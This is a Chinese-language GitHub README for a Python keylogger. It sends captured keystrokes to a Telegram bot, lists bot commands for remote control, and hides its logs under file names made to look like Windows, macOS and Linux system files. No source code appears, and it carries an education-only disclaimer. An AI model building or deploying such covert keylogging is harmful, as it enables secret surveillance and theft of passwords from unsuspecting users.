RykerWilder/phantom-logger
GitHub: RykerWilder/phantom-logger
一个跨平台的 Python 键盘记录器,捕获按键输入并通过 Telegram Bot 远程管理和回传日志,供安全教育与授权渗透测试使用。
Stars: 2 | Forks: 0
# Phantom Logger
一个使用 Python 编写的跨平台键盘记录器,可捕获键盘输入并按需将格式化的日志发送至 Telegram bot。该工具演示了在 Windows、macOS 和 Linux 系统上的键盘记录功能。
**⚠️ 仅供教育目的:此工具专为网络安全教育和授权的渗透测试而设计。未经授权使用键盘记录器是非法且不道德的。在部署此软件之前,请务必获得明确的许可。**
## Telegram Bot 命令
- `/logs`: 以 .txt 格式发送日志
- `/status`: 发送消息以检查 Phantom Logger 状态
- `/kill`: 销毁 Phantom Logger
## 特定平台的日志位置
- **Windows**: `%LOCALAPPDATA%\Microsoft\Event Viewer\ExternalLogs.dat`
- **macOS**: `~/Library/Caches/.com.apple.bird.plist`
- **Linux**: `~/.cache/.fontconfig-timestamp.dat`
## 环境要求
- Python 3.7+
- Telegram Bot Token(从 [@BotFather](https://t.me/botfather) 获取)
- Telegram Chat ID
## 安装说明
1. 克隆仓库
```
git clone https://github.com/RykerWilder/phantom-logger
```
2. 进入目录
```
cd phantom-logger
```
3. 创建虚拟环境并激活
```
python3 -m venv venv
source venv/bin/activate
```
4. 安装依赖
```
pip3 install -r requirements.txt
```
## 项目结构
```
phantom-logger/
├── main.py
├── modules/
│ ├── __init__.py
│ ├── logger.py
│ ├── telegram_bot.py
│ ├── formatter.py
│ └── utils.py
├── build.sh
├── requirements.txt
└── .env
```
## 免责声明
标签:应用安全, 逆向工具